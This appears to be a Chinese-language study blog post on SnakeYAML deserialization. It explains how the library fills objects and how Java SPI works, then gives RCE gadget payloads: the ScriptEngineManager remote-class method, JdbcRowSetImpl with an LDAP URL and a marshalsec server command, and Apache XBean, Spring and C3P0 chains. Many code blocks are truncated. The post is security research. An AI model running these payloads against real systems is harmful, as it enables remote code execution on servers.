snakeyaml学习
snakeyaml 学习
简介
感觉和 fastjson 一样,是把对象转换成yaml
格式的一种手段
环境依赖
添加依赖:
1 | <dependency> |
测试
测试demo:
1 | package com.user; |
主类如下:
1 | package com.main; |
snakeyaml的反序列化的方式
无构造函数和set函数情况下 snakeyaml 将使用反射的方式自动赋值
1
2
3
4
5
6package com.TestA;
public class ModelA {
public int a;
public int b;
}可见,我们并没有赋值,我们使用yaml对其进行赋值试一下
1
2
3
4
5
6
7
8
9
10
11package com.TestA;
import org.yaml.snakeyaml.Yaml;
public class ModelATest {
public static void main(String[] args) {
Yaml yaml = new Yaml();
ModelA a = (ModelA) yaml.load("!!com.TestA.ModelA {a : 5,b : 0}");
System.out.println(yaml.dump(a));
}
}可见,赋值还是可以的
默认情况下,yaml的
load()
方法返回一个Map
对象。查询Map
对象时,我们需要事先知道属性键的名称,否则容易出错。更好的办法是自定义类型。而这里”!!”用于强制类型转化,”!!com.TestA.ModelA”是使用全限定类名将该对象转为ModelA类,如果没有”!”则就是个key为字符串的Map:有构造函数
声明一个B类,如下
1
2
3
4
5
6
7
8
9
10package com.TestB;
public class ModelB {
public int a;
public int b;
public ModelB(int a,int b){
this.a = a;
this.b = b;
}
}可以见到,有构造方法,我们可以使用这种办法去进行反序列化。
1
2
3
4
5
6
7
8
9
10
11package com.TestB;
import org.yaml.snakeyaml.Yaml;
public class ModelBTest {
public static void main(String[] args) {
Yaml yaml = new Yaml();
ModelB b = (ModelB) yaml.load("!!com.TestB.ModelB [5, 0 ]");
System.out.println(yaml.dump(b));
}
}可以看的出来[]是调用构造函数的一个标志,在构造函数中下断点,也能够成功调到。
需要注意 snakeyaml 反序列化时,如果类中的成员变量全为私有将会失败(调试得知)
调用
setXX
函数先声明如下C类
1
2
3
4
5
6
7
8
9
10
11
12
13package com.TestC;
public class ModelC {
public int a;
public int b;
public void setA(int a) {
this.a = a;
}
public void setB(int b) {
this.b = b;
}
}使用如下方式进行序列化
1
2
3
4
5
6
7
8
9
10
11package com.TestC;
import org.yaml.snakeyaml.Yaml;
public class ModelCTest {
public static void main(String[] args) {
Yaml yaml = new Yaml();
ModelC c = (ModelC) yaml.load("!!com.TestC.ModelC {a : 5, b : 10}");
System.out.println(yaml.dump(c));
}
}
可以看到调用set函数的方式和无构造函数的方式写法差不多,比如要调用setA函数,把set去掉将后面单词全部小写后,
就是a ,然后用 花括号进行一个赋值。
到此为止,意味着snakeyaml 可以利用fastjson和Jackson的所有利用链(反之不一定行),并且还没有autotype的限制。不过fastjson和jackson好像也没有直接RCE的链,并且还多依赖于三方jar包,通过改写1.2.68 写文件的链和ScriptManager本地加载jar包的方式 仅需依赖jdk就可以完成RCE。
poc
影响版本
SnakeYaml全版本都可被反序列化漏洞利用
漏洞原理
按照如上所述,因为SnakeYaml支持反序列化Java对象,所以当Yaml.load()函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。所以我们可以参考fastsjon编写如下demo
1 | package com.main; |
切记在DNSlog前面加上HTTP标头
如上,和fastjson检测能否使用DNSlog是一样的。
漏洞利用(ScriptEngineManager利用链)
能和fastjson一样控制的话,思路可以是使用类加载器,进行远程恶意类的加载,然后进行一个利用。
师傅们这里的常规的Gadget是使用的ScriptEngineFactory
的链子:
如果攻击者可以根据接口类写恶意的实现类,并且能通过控制Jar包中META-INF/services目录中的SPI配置文件,就会导致服务器端在通过SPI机制时调用攻击者写的恶意实现类导致任意代码执行。
如下所示,编写payload的代码
==注意编写的 payload 中不要有任何的包名,直接从import开始进行==
1 | import javax.script.ScriptEngine; |
然后使用 javac
进行编译为class文件,使用python
启一个http服务,在目录下新建目录:META-INF\services\javax.script.ScriptEngineFactory
文件,里面内容写上要执行的class文件的名字,这里我写了test
在此目录下开启HTTP服务
然后将访问路径控制根路径:
1 | package com.main; |
命令成功执行
同时,也可以打包成jar
包放置在第三方服务器进行利用
SPI机制分析
这里和之前的JNDI类似,都是远程开一个公网服务器,然后进行远程的类加载。但是,这个奇怪的文件:META-INF\services\javax.script.ScriptEngineFactory
是什么呢?
Java SPI(Service Provider Interface)是JDK内置的一种服务提供发现机制,从JDK 6被引入。它可以动态地为某个接口寻找服务实现,有点类似 IOC(Inversion of Control)控制反转的思想,将装配的控制权移到程序之外,在模块化设计中这个机制尤其重要。使用 SPI 机制需要在Java classpath 下的 META-INF/services/ 目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类。
SPI机制就是,服务端提供接口类和寻找服务的功能,客户端用户这边根据服务端提供的接口类来定义具体的实现类,然后服务端会在加载该实现类的时候去寻找该服务即META-INF/services/目录里的配置文件中指定的类。这就是SPI和传统的API的区别,API是服务端自己提供接口类并自己实现相应的类供客户端进行调用,而SPI则是提供接口类和服务寻找功能、具体的实现类由客户端实现并调用。
如下图所示:服务器端继承了API,客户端去调用API
客户端继承了SPI,而服务器去调用SPI
常见的SPI有JDBC,日志接口,Spring,Spring Boot相关starter组件,Dubbo,JNDI等
使用介绍:
- 当服务提供者提供了接口的一种具体实现后,在jar包的
META-INF/services
目录下创建一个以“包名 + 接口名”为命名的文件,内容为实现该接口的类的名称; - 接口实现类所在的jar包放在主程序的classpath中。
- 主程序通过
java.util.ServiceLoder
动态装载实现模块,它通过在META-INF/services目录下的配置文件找到实现类的类名,利用反射动态把类加载到JVM;
下面做一个SPI的例子
SPI 例子
新建一个项目
创建好每个类
1 | package com.test; |
1 | package com.test; |
1 | package com.test; |
之后创建配置文件,加入上面创建类的全限定类名
在IDEA里将这个工程打包成jar文件
==File >> Project Structure >> Artifacts >> + >> JAR >> From modules with dependencies==
之后,在build中点击build Artifacts
在out
文件夹下会获得 jar
文件,这时候复制出来,将其添加为 library
这里踩了个坑,一开始打包jar的时候,使用的maven项目,但是自定义的META-INF死活打包不上,后来换了普通的java项目就可以。具体的话,可以参考此链接看一看,:
开始新建一个项目,开始编写如下demo,然后进行测试
1 | package com.Test; |
使用迭代器迭代后,可以循环遍历结果进行输出
结果如下回显:
从上述代码中可以看到,基本操作流程大概是:
- 使用
ServiceLoader
加载要传入的接口类 - 使用迭代器遍历
META-INF/services
目录下的以该类命名的文件中的所有类,并实例化返回。
关于更多SPI的东西,师傅们可以看这篇文章:
https://www.pdai.tech/md/java/advanced/java-advanced-spi.html
漏洞调试
在yaml.load
处打上断点
跟进loadFromReader
跟进getSingleData
函数,到constructDocument
继续到constructObject
函数,会到constructObjectNoCheck
函数,
然后,跟进Construtor.construct
方法
在construct
方法里面一直走下去,会走到如下:
这时,根据反射获取的c
类,获取信息,可以看到,反射类使用SPI
进行连接
最后在aggumentList
中,可以获取参数,进行传递
接下来就是需要理解,为什么会使用SPI
的机制去进行解析呢?
现在进入ScriptEngineManager
类中,静态看一下
根据init
方法,往下走
之后,会返回一个loader
此loader
和SPI
机制的demo一样,是调用getServiceLoader
去动态加载类
稍微看一下,就会发现,定义了一个META-INF
的路径
然后从这个目录下加载文件(与上面SPI遍历类似)
其他链子
因为感觉和fastjson类似,所以可以参考一些它的链子
JdbcRowSetImpl
1 | String poc = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"ldap://localhost:1389/test\"\n autoCommit: true"; |
当然还需搭建LDAP服务和恶意类Exploit。
1 | java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#test 1389 |
运行即可触发:
可以看到放置在8000
端口下的恶意类被进行访问
Spring PropertyPathFactoryBean
需要在目标环境存在springframework相关的jar包。根据师傅们的文章,先导入一下依赖
1 | <dependencies> |
然后以下测试案例
1 | package com.main; |
Spring DefaultBeanFactoryPointcutAdvisor
需要有以下依赖:
snakeyaml-1.25,commons-logging-1.2,unboundid-ldapsdk-4.0.9,spring-beans-5.0.2.RELEASE,spring-context-5.0.2.RELEASE,spring-core-5.0.2.RELEASE,spring-aop-4.3.7.RELEASE。
此时poc如下:
1 | set: |
1 | package com.main; |
DefaultBeanFactoryPointcutAdvisor类的利用原理同上,也是JNDI注入漏洞导致的反序列化漏洞。
Apache XBean
导入依赖包
1 | <dependency> |
接下来就是 poc (这里参考Mi1k7ea师傅的文章,发现其poc少了一个空格,这里看了Y4tacker的payload才加上了,剩下的注意就是复制的时候,会有转义符”\“可能会影响操作结果)
1 | !!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference ["foo", "test", "http://127.0.0.1:8000/"],!!org.apache.xbean.naming.context.WritableContext []]] |
Apache Commons Configuration
依赖包:
snakeyaml-1.25,commons-logging-1.2,unboundid-ldapsdk-4.0.9,commons-lang-2.6,commons-configuration-1.10。
POC:
1 | set: |
C3P0
先导入依赖
1 | <dependency> |
JndiRefForwardingDataSource
poc如下:
1 | !!com.mchange.v2.c3p0.JndiRefForwardingDataSource |
WrapperConnectionPoolDataSource
poc如下:
1 |